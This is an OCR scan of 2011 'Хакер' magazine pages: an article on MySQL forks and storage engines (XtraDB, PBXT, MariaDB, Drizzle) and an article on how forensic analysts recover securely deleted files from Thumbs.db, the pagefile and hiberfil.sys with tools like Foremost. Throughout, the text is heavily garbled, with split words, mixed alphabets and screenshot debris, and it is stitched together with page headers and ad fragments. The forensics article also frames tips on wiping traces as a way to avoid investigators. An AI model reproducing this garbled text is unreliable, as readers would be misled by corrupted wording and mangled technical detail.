Движок БД - что это такое? Если немного упростить понятия, то база да нных - это обертка вокруг движка хранения да нных. Она зани мается приемом запро­сов и управлением ими , кэшированием и проч ими обслуживающи­м и функциями , обеспечивая работу с н изкоуровневым АРI движка. Последний , в свою очередь, собственно и хра н ит данные [на диске или в па мяти ) , работает с операционной системой и обеспечива ет выдачу нужных выборок по запросу от сервера. Есл и раньше СУБД [связка «сервер + движок») была монол итная , то теперь во всех системах испол ьзуется структура с плагинами . Движок в такой орган изации является просто модулем , а сам сервер не за висит от систем ы хранения данных. В последних редакциях классиче­ского MySQL также испол ьзуется плагинная архитектура. Поэтому встроенный движок InnoDB [пра вда , обычно устаревшей версии) можно легко заменить на модуль другого п роекта, который часто будет лучше. В альтернати вных мускулу разработках, в том числе МагiаDВ или Dгizzlе, все движки изначально выполнены как пла­гины. Попробую кратко п робежаться по современным движкам хранения данных в MySQL-совместимых СУБД. • InnoDB - основной движок для мускула, который с версии 5.5 наконец-то сделали дефолтн ым. Поддерживает транзакции, репли­кацию, построчную блокировку. Достаточно устойчив к сбоям. • MylSAМ - очень п роблемный движок, плохо переносящий крах сервера. Не поддерживает транзакци и , но зато может похвастаться полнотекстовыми и ндексами и быстротой работы. Долгое время был станда ртным для всех версий MySQL, а потому до сих пор является самым популярным . • дria -замена для MylSAM с поддержкой транзакций и улучшен­ной работой с па мятью. Движок гарантирует целостность да нных и при этом не уступает в скорости MyISAM. • cvs - специализированный движок на случай, когда требуется хран ить и обрабатывать большие массивы строковых данных, раз­деляемых запятой. • Federated/FederatedX - этот движок специал и з и руется на п розра ч н о м разнесе н и и данных по нескол ьким серверам [физическим ) н а уровне таблицы .

Но надо понимать, что на самом деле сохранилось только название , дабы не смущать софт непривычными идентификаторами.

Дополнительные движки Об ХtгаDВ стоит поговорить более детально: по мнению многих спе­циалистов это номер один в мире движок дЛЯ БД. Более того, он обставляет оракловский InnoDB, как маленького : ! . Ключевая фича -дол гожданная поддержка многоядерных и многопроцессорных систем, чем ну никак не хочет [или не может?) похвастаться MySQL. Патчи от Google давно решили эту проблему, но, как всегда, их не удосужились включить в оригинальный движок, поэтому MySQL с точки зрения производительности плетется далеко позади по любым бенчмаркам. Разработчики ХtгаDВ значительно улучшили стратегию использования дискового 1/0, что раньше ограничивало производительность из-за тормозов со сбросом данных на диск из кэша. Соответствующими опциями теперь можно тонко управлять из настроек, что позволяет особо продвинутым админам подтюнить п роизводительность демона самому, не обращаясь к дорогим специалистам по базам данных. Тем более, что из коробки доступна детальная статистика по работе движ­ка, что сводит на нет потребность в дорогом коммерческом софте для а нализа производительности базы данных. Нужна лишь одна команда SHOW ENG INE I N NODB STATUS. И немаловажный момент - скорость восстановления после сбоя : если уж он и случился, восстановление будет не просто быстрым, а почти реактивным, зачастую до десяти раз быстрее, чем в MySQL. А также множество других мелочей: буферы для записей, адаптивные чекпоинты и увеличенное число открытых транзакций. Все это позволит серверу хорошо чувствовать себя в очень нагруженных условиях. Если тебе и этого не хватает, и ты киваешь головой в сторону F iгеЫгd или Роsg геSQL, намекая , что там есть и полная поддержка транзак-

� 024

• РВХТ - призван ный заменить I n n o D B новый движок, в котором реал изованы пол ная поддержка транзакций, многоверсион ность, автоматическая обработка дедлоков. Движок оптимизирован для бол ьшого кол ичества одновременных тра нзакций. • Blackhole - служебный движок, представляющий собой, по сути, /dev/nul l дЛЯ СУБД и фактически н е производящий н и каких записей на диск. И спользуется для репликаци и . • Archive - движок, который максимально быстро работает на запись. Испол ьзуется в тех случаях , когда необходимо хостить бол ьшие массивы да нных . Для эффекти вности хранения исполь­зуется сжатие , что приводит к медлительности во время выборок. Движок хорошо подходит для долговременного хранения логов и другой служебной информаци и . • XtraDB - расширенная и исправленная в некоторых проблем­ных местах I nnoDB от компании Регсопа . • MERGE - схожий с Fеdегаtеd движок для разнесения да н н ых в одной табл ице на несколько разных. • MEMORY - движок, испол ьзующийся для хранения да нных не на диске , а в памяти. И нформация из базы доступна только во время работы сервера, но это дает колоссал ьный при рост в про­изводител ьности . • BlitzDB - е ще одна замена для MylSAM с хорошей п роизво­дительностью за счет встроенного построчного кэш и рования и автоматического восста новления после сбоев. Движок не под­держи вает тра нзакци и . • NDB - движок для кластера , облада ющий, впрочем , кучей про­бле м и удручающе плохой производител ьностью. • Falcon - легендарный движок от компании MySQL АВ, раз­рабаты ваемый еще со времен Sun, когда было п р и нято решение заменить оракловский InnoDB. • SphinxSE - полнотекстовый движок от создателя поискового сервера Sph inx. Луч ш и й вариант для пол нотекстового поиска и индексации по правилам русского языка . Л егко оперирует тера­байта м и да нных , обеспечивая при этом все возможности совре­менной БД.

цион ной модели и даже MVCC [Мu ltivегsiоп Сопсu ггепсу Сопtгоl -конкурентная модель да нных на базе версионности, что позволяет без блоки ровок п роизводить обновление и чтение одной и той же строки данных) - расслабься. В МагiаDВ доступен движок РВХТ, который в н екоторых ситуа циях еще более крут, чем все вышепе­речисленные . П ра вда , тут сразу стоит сказать, что он не такой уни­версальный и его нужно уметь готовиты� РВХТ в основном заточен под бол ьшое кол ичество тра нзакций, которые п ишут или изменя ют данные, поддерживает быстрый откат и умеет сам разрешать слож-

Хоть и вышла новая версия, но MySQL уже не торт ...

� MySQL. The wond's most popular open aource clatabilS8

�Jigsaw' nl!eded pow« andlleJ!ibilityto

sukt our OO_-.ons wltho\A: the � Ulst.-

Free Web Seminars � t,E\Y Гor ISVs and ОЕ"',: "'ySQI... Enterpnse Еditюn -.t.dlМo V.lue to Your Pl'oducts Тhu,l'eblO

MySQ!. Esse�ls Part 7; MySQL AclrnW!tratlOn аоо Mill'IlIQl!.mtnt EsstnU/lIS Tue, F"eb22

MySQL Refefl!nCl! дrd1lteaurel for />lilSJJVI!Iy SYllIbIe Web Inlтilltr'uctuгe Тhu, Fe24

Products

NySQI. EnteQnf' EditIon

MvSQL C1uster CGE MySQL Embedded (OEWISV')

MySQl ln ActlOn

R,esoutCe5 MvSQL Eslenu.la \y.ь.n ... '�, Try Now ContactU$

MvSOl Consul!lnO

Mv5QL Tra.,.,g ,.,ySQL for Oo1tМ>IS!! Admonr!.tratoв

�lySQL 101" Oi!VeIopers

Мy5QL P"rformanC<l!! TUI'III'IO More Tra\nlf'lO

News & Ev�t5

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 21: Хакер март 2011

Bad:up 8с ReCDveJY, S.turity

Replication. C1uster ,

Administration. Configuration.

мq tion, гс Metadata

Connectors Na Ive С АР!, JDВC, ODBC, . NEТ, Рн>, Python, Perl . Ruby, Cobol

MySQL Server Connection Роо'

AuthenUca tlOn -Тh'e�" Reuse - ConneC(lQn Umtts - Check Memoтy - C�he$

SQL Interfa ce

OML, OOL, Stored Procedures

\4ews, Trlggers. еос.

P arier

Query Translation, Ob�ct Pnvllege

Optiml zer Acces:s l>aths,

St2t1Jsbcs Gl0b3l aoo

Engine Spedfic Cвches &. Buffers

, - - - - - -- - - - . - . . - - . . _ - - - - - - - - - - _ . _ _ . . _ - - _ . . _ . _ . _ .. . _-_ . . _ - - - - - - � - - - - . - . _ . _ - - - - _ . _ - - -- - - - - - - " , PluggabIe Storage Englnes � Mtmory. J ndex &. stora� r.1anagement :

· • • \ ,

'-�������������������������������� Fil e System NТFS - NF'$ SДN - r>{AS

Files 8t Logs Redo, Undo, Oa t.a , 'мех, 6inary,

Еггог. Query, вnd stow

Архитектура MySQL - теперь уже как пособие по устройству некогда великой СУБД

ные ситуации с блокировками и дедлоками. Например, если хочешь сделать хранилище логов, то у тебя будет огромное количество операций записи в таблицу, но сравн ител ьно мало чтения . В то же время, если кто-то все-таки захочет сделать выборку из БД, он получит максимально свежие да нные , не мешая при этом записи новых. И для совсем уж извра щенцев есть движок FederatedX, умеющий распределять табли цу данных на н есколько физических серверов, а также OQGRAP H , оптимизированный для хранения иерархических структур , графов и деревьев. П одход, идеально под­ходящий для создания клона Facebook и В Контакте, где требуется работать с социальным графом отношений между л юдьм и , что пло­ховато вписывается в типичную модель баз данных.

Откуда взялась Percona?

\УеЬ Snvщs)

. using Handlcrsockd сlittШ; 10r siшрlelfаst optrations

. USdl8 r�lar MySQL APls fo.- contpltx Qlltries

SQL SlalC'lI1cnts (Complex qum6 DDL othcrs)

<j===��pon 3ЗОб DBD::MySQL or othtr MySQL c:lienls

MySQL Snvn(s)

MySQL ирр« lay«

AC:Cq1ting MySQL Prolocol SQL Pomnв �TaЫe Мaking Quay PI .... Ro\y Ас:сeзs

QоsшgтIые Rduming resuhs

AccqJling нз Prolocol Ro\v AC'CtSS Retumulg resutcs

Randlenocket daemon рlug.iп

, • • , • • , , , ,

Жила была компания Регсопа , которая занималась консал­ти нгом в области производительности баз дан н ы х. Тол ковые ребята быстро осознали , что на одном только консалтинге много не заработаешь , и начали спонси ровать разработч и ков , занимавш ихся созданием альтернативы для ориги нальной MySQL. Успеху этой затеи способствовало то, что сами же спецы из Регсопа понимали п роблемы текущей ветки MySQL как н и кто другой . Чуть позже ком пания стала вы пускать свою версию сервера, в кл ючая туда некоторые сторонние патч и и п родви гая своим кл иентам уже исправленную сборку. П р и этом Регсопа не идет на поводу у корпораций и все е ще предлагает версию 5 . 1 , которая с использован ием набора патчей обгоняет по скорости даже новомодную 5.5 , разрекламирова н ную O racle . Замечательный движок РВХТ, о котором М Ы говорили в статье, как раз спонсировался и вы рос в закромах Регсопа . А казалось б ы - скром ные ребята , которые занимаются консалти н гом .

Архитектура Handlersocket-a, системы доступа к InnoDB движку как к NoSQL хранилищу. Может и фигня, но вдумайся, 750 000 запросов в секунду

ХАКЕР 03 /1 46/ 20 1 1

Cloud Computing Разработч и ки другого проекта - D rizzle - пошли по немного другому пути и решили вообще переосм ысл ить м есто базы да н ­ных в инфраструктуре типичного прое кта . Вспомнили , что сейчас модно: c loud соmрut iпg , Google Proto B uffers, масштаби руемость, многоядерность и прочее. И подумал и : база да нных также должна двигаться вместе с современными технология м и , а не плестись в конце, вне зависи мости от того, что на ней крутится - бло­говый движок или круп ная корпорати вная С R М -система . Под шумок было решено уп ростить фун кционал ориги нальной MySQL, выкинув тя нущиеся из релиза в рел из возможности , которые в

� 025

Page 22: Хакер март 2011

NoSQL-треНА

Ты наверняка знаешь о новомодном тренде NoSQL. По сути, это отказ от традиционного сервера базы данных с его табли цами и SQL-запроса м и и уход к самой п ростой схеме хранения да нных « ключ-значение» (key-va lue) . Для реализации последнего часто используются п родви нутые типы данных вроде списков/хэшей (в Red is) или, например, формата JSON ( в MongoDB) . Н о что меша­ет скрестить удава и ежа, испол ьзуя, с одной стороны , всю мощь и годам и отработан ную технологию баз данных и их движков, а с другой - упрощенный п ротокол и отказ от громоздкой п рослой­ки В виде обработки SQL -язы ка запросов? Суровым наследни­кам самураев не помешало н ичего : японские парни из Yosh inori M atsunobu сделали плагин HandlerSocket, п ревращающий стан­дартн ый движок I n noDB в продвинутое NoSQL-хра н илище, не мешая при этом работе обычного SQL. Скорость работы впечат­ляет: до 750 000 операций в секундуl Неудивительно, что компа­ния Регсопа сразу же взяла на вооружение этот плаги н , включив его в свои сборки сервера. Круто ! Но, с другой стороны, как еще если не костылем можно назвать решение, которое и м ити рует то, что у нормальной БД типа Drizzle реал изовано прямо из коробки в силу внутренней архитектуры?

действительности мало кому нужны . Система утратила поддержку U N IX-сокетов (это хотя и спорное , но в полне допустимое решение ввиду напра влен ности на облачные среды) и версию для Windows. В Drizzle нет н и каких служебных баз и многих других привычных вещей. Но что же тогда есть? А есть архитектура с м и кроядром , в которое вынесены все основ­ные операции и поддержка протоколов , а также система плагинов, позволяющая расши р ить систему в любую сторону и на любую глу­би ну. В качестве одной из основных системных компонент исполь­зуется бинарный протокол от Google - Protocol B uffer. С его помо­щью описы ваются как табл и цы , та к и да нные , он же применяется и для репл и кации . Основной упор в разработке сделан на макси­мальную поддержку м ногопоточности и многопроцессорности , так что масштаби руемость - это основное достижение разработч и ков . Реализована поддержка как ста ндартного MySQL-п ротокола , та к и собственного вариа нта - через библиотеку l ibdrizzle и драйвера для большинства популя рных языков , включая Perl, Р Н Р , Python и Lua. При желании можно использовать кл иентскую библиотеку и без самого сервера : в этом случае ты получ и ш ь эффекти в-н ы й асинхрон н ы й доступ к люби мому MySQL. Поскольку эта же компания разработала и систему Gearman !см. наш материал о распределенных системах на Р Н Р) , то в D ri zzle есть встроенная

Drizzle благодаря простой микроядерной и магинной архитектуре умеет многое

Dгiпlе Query Cache Plugin Example

� DrizlIe plugin for

I . "O,::::o�:::i;;';;;�;;:;���h;;d'H�ii�j''''''''') \ == ": .. - I

['р��i';i�'�i'si��g�'Dё�iё;;;" " " " " "" ''''''i

I ::�::: ::� i 1.= ............... ................................... : Rosh/DRAM SSD : ..... .................. -..... ..................................... :

� 026

поддержка логирования в распределенной среде, нативное кэши­рова ние в memcache и даже та кие п родви нутые возможности, как репл и ка ция через систем ы сообщен и й типа Rabb i tMQ (использу­ется в том числе новомодная технология WebSocket) В качестве основного движка хранения да нных в Drizzle испол ьзуется осо­бая версия I nnoDB , знач ител ьно переработа н ная и дополненная набором сторонних патчей . Также доступны движки Xtra D B и рвхт. Есл и первые верс и и Drizzle основы вал ись на MySQL 5 .0 , то теперь от ориги нальной СУБД осталось немногое. Это почти полностью переписа н н ы й код с мин и мальной оглядкой на бывших родствен­н и ков . Н а да н н ы й момент разработка Drizzle п ребы вает в а ктив­ном состоянии , и к весне пла н и руется первый стабильный рел из .

Делаем выводы Есл и ты обеспокоен развитием MySQL, тебе не нра вится поли­ти ка Oracle и ты спра ведливо опасаешься, что завтра тебя обя­жут платить за фун кционал, который еще вчера был бесплатен , посмотри вокруг. Сообщество отреаги ровало на покупку MySQL как на начало за ката технологи и , некогда выведшей современ­ный веб на недостижимую высоту благодаря стеку LAM P (L inux­Apache- МуSQL- Р Н Р ) . Кл ючевые разработчики начали развитие собственных форков , некоторые из которых уже сейчас на голову п ревосходят старый MySQL. За н и м и стоят многие з на ковые фигу­ры и открытое сообщество. Сделав все по уму, разработч и ки уму­дрились оставить 100% внешней совместимости с п риложениями и п ротоколами . Поэтому все желающие поста в ить новый сервер не окажутся у разбитого корыта : данные сохра нятся , а п р иложения не п ридется переписывать. М ногие вообще не заметят разницы , кроме возросшей скорости работы и надежности . Уже сейчас ты можешь замен ить свой сервер баз да нных , та к что и меющиеся прил ожения даже не почувствуют разн ицы, получ и в при этом гораздо большую скорость работы , надежность и массу недоступных в ориги нальном мускуле фишек. M aria D B с набором движков - отличный вариант для старта . Ну а если ты задумал грандиозн ы й проект с большим кол ичеством серверов и гигабай­там и да нных, посмотри на Drizzle. Ка к п рогра м м н ы й продукт и как сервер баз дан н ы х он является очень перспективной разработкой, которая обязательно выстрел ит уже в этом году. Есл и же хочется стабильности и поддержки сам ы м и лучшими специал истам и по базам да нных - не бойся отвернуться от O racle и пойти к Регсопа . Ребята раздают бесплатно свою версию СУБД - исп равляя, насколько это возможно, баги и добавляя фичи для увеличения производительности оригинального MySQL, не нарушая п р и этом совместимости. Ты все еще сидишь на старен ьком мускуле? Тогда мы идем к тебе ! :х:

СУБД, ориентированная на облачные системы, распределенные и быстрые

DQCIJI11entation Development Blogs Wiki FAQ Twitter

А Ughtweight SQL Detabese for Cloud аnd Web

Overvlew

OrizzJe is а commooity-dliven open source project thaI is fonted from the popt.iar МySQL c:tatlbase. The Orizzte {еат has removed nOn-eSSentiaI code, re-lactored lhe remaining сode and moderrМzedthe code bгse П'IO'Мg 10 С++.

Drlul4t D8v81otМr Day 2011 • April 15th - Slan up ".,... Chln'r

• Д dll8base optmzecl 1or CIOUCI infrasttutllA anCI Web applic860ns • Design lor massive concurrency on modem muIti-сpu arc�ectUfe • Optmze memory lor increased petforтnance and par*lism • open source, open community, open Clesign

$с .... • R� mOdUIar archйесl\,l"е providng pk,Igins wth defned APts • SImpIe design (or ease r:A use and 8dmIntstration • Rellable, АСЮ transactional

TMsкtlot! Loo Qu*' Ind th, troortJnc, ofQA· � h,ttD:J/clshrt:wIOury.bl!)vl ... �сOV'.,...ч 1: �ttd ctrll1ll.Ofo ltomt�e·1IIY r..dblck1 htts:1:J/clnuJt.orvlHome .... : 4;".,. . ...., AoIiI. Iwt thi5 ti'n1 � our new ЬооН . htФ:I/www.lnIЩ.dLсо .... J "" ... .,. ·'m

OWIO' ofOrtl:zlt Ьоо · hЩl:J/J.rтc /hbwFFx Yil OAddToAny )" r ... � · rWt

nnm. )n l '.nl.nJII �hM h,.,."

Joi1 th , con�

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 23: Хакер март 2011

• • Антон «Ant» Жуков lantitsterfёlgmaiL.coml

v

ФАИЛЬ I-ПРИЗРАКИ, ИЛИ ОХОТНИКИ ЗА ПРИВИДЕНИЯМИ Как криминаnисты/осстанавnивают надежно удалSнные данные . . С) Для следователя, проводящего анализ компьютера подозреваемого, удаленные файлы всегда представляют особый интерес. Некоторым кажется, что если перезаписать область, где находились данные, случайными значениями, то восстановить уже ничего не удастся. Зто правда, но лишь отчасти. Даже после такой перестраховки файлы нередко удается извлечы� � 028 ХАКЕР 0 3 / 1 46/ 201 1

Page 24: Хакер март 2011

Что происходит п р и удал е н и и файла? Очень П РОСТО : В файло-вой системе для него меняется оди н атри бут, и та ким образом он помеча ется ка к удал е н н ы й . При этом содержа н и е файла по-п режнему остается на жестком диске, и е го можно восста но­вить с помощью одной и з м ножества платных и бесплатных п ро­гра м м ( например , R-Stud io ] . Мы мн ого раз п исал и о то м , как без­опасно удалить файлы без воз можн ости восстановл е н и я . Благо для этого разработа н о огромное кол и чество утил ит- ш реде ров , которые с помощью н есложных методик п ереза п исы вают участки диска , на которых были расположе н ы удал е н н ы е да н н ы е . Та ким образом даже п р и испол ьзо вании технологий восста новл е н и я , п р и которых производится считыва н и е да н н ы х непосредственно с магн итн ы х носителей , восста новить удал е н н ы е файлы будет н евозможн о . В эффекти вн ости такого подхода нас заверяли даже настоя щие п рофессионалы в области восстано вления да н н ых . Но - лазейки для извлечения информации у гуру все-та ки есты �

Файлы изображений Начнем с рассмотрения п ростого случая - удаления обычной фотографи и . Допусти м , у нас есть папка с фотографиями , и мы избавляемся от одной из них . Причем удаляем по всем правилам, перезап исав нужную область диска несколько раз . По идее больше ничего не должно выдавать ее существова ния (если мы сам и до этого не скопировали ее в другую папку и не забыли про это] Но тут-то как раз многие и забывают об одной особенности Windows - файле Thumbs.db. Это специальное хранил и ще, используемое операционной системой, в котором находятся эскизы изображений

I t\ GJI �� f:J ""M.slicillshcм @ OI'derprrtsarfne � Pml:tНspictue :j. Set�desItop ......... � СОруtoСО

!iI �tНsНе fa Joboiett"isfle IQ ""' ...... e �lНI:f"tott. -S t:_tНsffe )( OМU!his:"

.... SYSТEН(Ii:) """",,,И

'/ ""- , .=]

Первоначальное состояние - число изображений совпадает с числом эскизов в файле Тhumbs.db

ХАКЕР 03 1 1 46/ 20 1 1

'Зl :;::-:=, tJ �··skte5hcм !Э Orderpmts;«*Ie � Prrtthispichп. � S8t:f$� -""" � c.op,otoCD .. _flll*r, .... *

!!I ��'" � НoYethisfle D ""'''''''

Nillhttis:Нetothe -S E-N&tt"isrk )( DektettisНe

ф ф l ... ...

Изображение уже удалено, а эскиз остался

Удаление картинки с предварительной перезаписью при помощи программы sdelete

из текущей папки. Если в проводнике выбрать режим отображения «Эскизы страни ц», то операционка будет брать уменьшенные пре­вьюшки изображений ка к раз из этого файла. Он создается в каждой папке , в которой есть картинки , и содержит уменьшенные эскизы изображений в формате J PEG (вне зависимости от формата исходно­го изображения ] . Проведем небольшой эксперимент - создади м папку и поместим туда три л юбых картинки. Теперь откроем эту ди ректорию в прово­днике - появился Thumbs.db (чтобы увидеть этот файл, надо вклю­чить отображение скрытых файлов] . Мы можем просмотреть и п ро­а нализировать е го с помощью утилиты Thumbnail Database Viewer ( i tsаmRlеs .соm/thumЬпаi l-dаtаЬаsе-viеwег. html] . П рогра мма , как и положено , показывает эскизы для всех трех файлов. А теперь уда­лим один из них с помощью п рогра ммы SDelete ( tech net .m icrosoft . com/ru -ru/sysinterna ls/bb897443] или л юбой другой програ ммы для безопасного удаления данных: sdelete . ехе -р 2 filel . j pg

Пара метр -р отвечает за кол ичество проходов шредера, то есть указывает, сколько раз файл будет переза писан перед удалением. В резул ьтате изображение будет безвозвратно стерто с жесткого диска . Но посмотрим . повлияло ли ка к-то это удаление на Thumbs.

� 029

Page 25: Хакер март 2011

db? Заново открываем е го , и что М Ы видим? Эскиз для удаленной карти нки по-п режнему на Mecтel Получается, что файл легко может содержать эскизы уже удаленных изображений . И на этом , ка к мне рассказывали, попался не один ум ный человек . . Как этого избежать? Очень просто - нужно отключить кэш и­рование эскизов в файлах Thumbs.db . На Windows ХР необхо­димо установить для кл юча DisableThum bnailCache в разделе Н КЕУ _ CURRENT _ USER\Softwa re\Microsoft\Windows\Cu rrentVersion\ Explorer\Adva nced значение « 1 ". В Windows 7 этот ключ и меет имя NoTh umbnai lCache и находится в H KEY_C U R R ENT_USER\Software\ M icrosoft\Windows\CurrentVersion\Policies\Explorer. И , само собой, важно не забыть удалить все Thumbs.db.

Правда и мифы о магнитной микроскопии Очень часто л юди впадают в две край ности. Одн и откровен-но забивают на свою безопасность и хранят на винте всю ком промети рующую и нформаци ю, будучи уверенными , что <Shift+Delete> их спасет. Другие же, наоборот, каждый день затирают винт и за ново устанавливают операционку. Быть может, я утри рую. Тем не менее, довольно часто приходится ч итать в Сети споры о том, сколько же раз надо перезап исать винт, чтобы информацию невозможно б ыло восстановить. П редлагаю оп ытным путем выясн ить, хватит ли одной полной перезаписи , чтобы безвозвратно удал ить все данные . Итак, опять возьмем нашу подопытную флешку и полностью переза­п и шем ее нулями , после чего отформатируем в NTFS. ДЛЯ про­верки закинем на нее какой-нибудь файл : пусть это будет опять же J PEG. Его легко можно найти в Win Hex"e по сигнатуре « jf if» . У меня он расположился по смещению 274432. Ну что ж, запустим шредер lя юзал Н О О Wipe Tool) и затрем весь диск. Теперь , если посмотреть в Wi n Hex, что расположилось по смещению 274432, то мы увидим только нул и . Для успокоения и большей уверен­ности можно поп робовать восстановить данные с помощью DiskDigger, Photorec, Foremost и п рочих утилит. Но это заведомо пустая трата времени - ничего у них н е выйдет. « Хорошо, - скажешь ты , - а как же насчет серьезных п риборов, имеющихся у компетентн ых органов , которые умеют восстанав­л и вать данные?» Ну что ж, да вай поговорим о магнитной м икро­скопии . Суть метода в том , чтобы оп ределить состояние каждого бита до его перезаписи . То есть, был ли он равен единице или нулю. Возьмем текст в кодировке ASC I I . Каждый сим вол коди­руется восемью битами таким образом, что если даже всего оди н бит восста новлен неверно - получается совсем другой символ. Например , есть последовательность символов « ant i » , выглядящая в бинарном виде следующим образом: 0 1 1 0000 1 0 1 1 0 1 1 1 00 1 1 1 0 1 000 1 1 0 1 00 1 . П редположим, что магн итная м и кро­скопия правильно определила все биты, кроме последнего - в результате такого восста новления м ы получаем последователь­ность « a nth» . Н еувязочка получается . И это мы говорим о про­стейшем текстовом файле. Представь, что будет в случае со структури рованными форматами - та кими как архивы, файлы БД, исполняемые файлы и так далее. Вдоба вок к этому метод достаточно медленный и дорогой. Так что во м ногих случаях использование ма гнитной микроскопии дает такой же точ н ы й результат, как и восстановление путем подбрасывания монетки на « орел-решка» . Поэтому нет н и ка кой необходимости по три раза перезаписы вать диск.

� 030

"'-"""" '''-'''''''' '''-'''''''' '''-'''''''' '''-'''''''' "'-"""" '''.PWQRO R!G.PWQRO R!G.PWQRO "О-"""" "О-"""" R!G.PWQRO "'-"""" "О-"""" "О-""""

Отключение кеwирования эскизов в файлах Тhumbs.db

Исследование содержимого файла подкачки при помощи Foremost

Файл подкачки П одста в ы со сто р о н ы о п е р а ц и о н н о й с и сте м ы на одном тол ь­ко ф а й л е с эскиза м и н е з а ка н ч и в а ютс я . П о мере работы с докуме нто м и н ф о р м а ци я о н е м п о падает в разл и ч н ы е ч а сти О С - в р е м е н ную п а п ку, реестр и та к далее . П о этому о ч е н ь трудно отследить и удал ить все с в яз а н н ы е с ф а й л о м д а н ­н ы е . Вдобавок к о все му, есть м е ста , где ко п и я ф а й л а может о ка з аться с о в е р ш е н н о случ а й н о I и н о гда та кая случ а й н о сть может сто ить о ч е н ь дорого ) . Я го в о р ю о файле п одка ч к и I pa g ef i le .sys) и с в о п е п а м я т и , и с п ол ьзуемом во в р е м я режи­ма H i berna t i on I h i b e rf i l . sys ) . П р едсказать содерж и м о е файла подка ч к и з а в едо м о невоз м ожн о , и тут н и кто н и ч е го н е м ожет га р а нт и р о вать. П редл а га ю е ще на одн о м э к с п е р и м е нте убе­диться в то м , что это - о п а с н о е м есто . Поскольку п росмотреть или скопировать файл подкачки опера­ционная система просто та к не дает, то у нас есть два варианта : задействовать специальные утилиты или же за грузиться в другую операционку и получ ить доступ к файлу из нее . М н е второй спо­соб показался более просты м , та к как под рукой был Back Track , нач и н е н н ы й разл и ч н ы м и утилита м и , в то м числ е и для восста ­новления файлов . Поэтому, загруз и в шись с LiveCD , я смонтиро­вал виндовый раздел и пошел в раздел « Вас kТгасk-7 Fогепs iс » , откуда за пустил утилиту Foremost. Эта замечател ьная консольная п ро га умеет восстанавл и вать файлы и сходя из и х заголовков и внутренней структуры . Н еобходимо л и ш ь передать имя входного файла, в котором будет осуществляться поиск , и указать директо­рию , куда будут сохра нены все найденные да н н ы е :

# foremost - i /mnt / hdal /page f i l e . sys - о / root /

Desktop / page_ f i l e -у - q

В кач естве входн ого файла я указал файл подка ч ки /mnt/hda 1 / pagef i le .sys, а директор и ю для сохра нения результатов - /root/

ХАКЕР 0 3 1 1 461 201 1

Page 26: Хакер март 2011

i Результат работы Foremost - все найденное аккуратно разложено по папочкам

Аудиофайлы и файлы изображений, записанные следующим образом mрЗ -7jpg-7 mрЗ -7 jpg-7mрЗ-7 jpg

Искуственно созданная разреженность файлов

O esktop/page_fi le . П рограмма начала свою работу. За короткое время Forem ost сумел найти и извлечь 524 фа йла .

Статистика извлеченных файлов j pg : = 7 3

g i f : = 4

g i f : = 1 9

j pg : = 7 7

j pg : = 9 5

doc : = 1

pgp : = 6 5

pgp : = 6 2

pgp : = 4 4

pgp : = 3 6

'dat : = 7

l nk : = 3

cookie : = 3 8

Утилита удобно отсорти ровала все файлы по типу и разложила по разным папкам. Первым делом я полез прове рять. что же попало в п а п ку j p g . И з всех вос­ста новленных файлов о коло половины отказалось ото-

ХАКЕР 0 3 ' 1 461 201 1

Копируем файл подкачки при помощи AccessData FТК Imager

НЕОЖИДАННЫЙ СЮРПРИЗ ЖДАЛ МЕНЯ В ПАПКЕ COOKIE - БЕГЛО ПРОЛИСТАВ НЕСКОЛЬКО ФАЙЛОВ, Я ОБНАРУЖИЛ АДРЕСА РОЛИКОВ, КОТОРЫЕ Я СМОТРЕЛ ЧУТЬ ЛИ НЕ ГОД НАЗАД НА YOUTUBE.

бражаться . зато другая - отл и ч н о п росматр и валась. И ч его тол ько н е было среди карти нок : п а ра фоток. которые я не та к да вно удалил ; много мелких изобра­жен и й с веб-сайто в ; а ватарки друзей из Facebook и п рочее . Честно сказать. я не пла н и ровал обна ружить та к много изображе н и й . Кроме картинок м н е хотелось еще узнать. что за единственный doc-фаЙл. который попал в файл подкачки . Но . к сожал е н и ю . Word лишь ругнулся . что фа йл попорчен и н е смог е го открыть. Н еожида нный сюрприз ждал меня в папке cookie - бегл о п рол истав нескол ько файлов . я обна ружил адреса рол и ков . котор ы е я смотрел чуть ли не год назад на YouTu be. В от и еще одно доказател ьство . что даже удал и в в браузере все куки и историю . все равно можно проколоться . Что тут можно сделать? Есть нескол ько вариан-тов . Первый - откл юч ить вообще файл подкачки . Для этого надо зайти в « Сопt го l Рапеl-7 Sуstеm апd Sесu гitу-7Sуstе m-7Аdvа п сеd System Sеtt iпgs-7 Рег fогmа псе-7Аdvапсеd-7Viгtuаl М е mогу-7 С hапgе» и выбрать опцию « N o раg iпg f i le» . Второй вариант -заста в ить операцион ную систему зати рать все да нные в файле подка ч ки перед выключением компьютера. Та кой режим а ктиви руется . если установить для кл юча С lеагРаgеFi lеАtShutdоwп в разделе H KEY_LOCAL_ МАС Н I N Е\SУSТЕМ\СuггепtСопtгоlSеt\Сопtгоl\Sеss iоп Мапаgег\Меmогу M a nagement значение « 1 » . К сожа­лению . второй м етод очень медленный . и в ы ключение системы будет зани мать достаточно длител ьное время . та к что при менять е го на практике или нет - решай са м . Аналогичная ситуа ция и с файлом h iberf il .sys. Его

� i nfo П рогра ммы для безопасного удале­ния данных: • Eraser 6 .0 .8 : eraser. he id i . ie ; • SOelete 1 .5 1 : technet . m ic rosoft . com/ru-ru/ sуsi пtегпаls/ Ь Ь897443; • Freeraser: codyssey.

com/products/ freeraser. html ; • Overwrite 0 . 1 . 5 : kyuzz.org/a nt irez/ overwri te. html ; • Wipe 2 .3 . 1 : wipe. sourceforge. net ; • Secure Oelete : objmed ia .demon . co .u k/freeSoftwa ге/ secu re Oelete . html; • CCleaner 3.03: pl ri form .com.

Все упомя нутые в статье программы ты можешь найти на нашем диске .

� ОЗ1

Page 27: Хакер март 2011

"'-- 1 1>- �' •............. j f!] Coxp".T� ... 6р ... _ • •• In.. 1Iи.I: ICrмcac :з � "" - 1--1

а_ ........ .­.­.­.--

.920

.000 """" c.nonEOSSO ......... 72

До дефрагментации DiskDigger сумел найти три картинки

59,'"

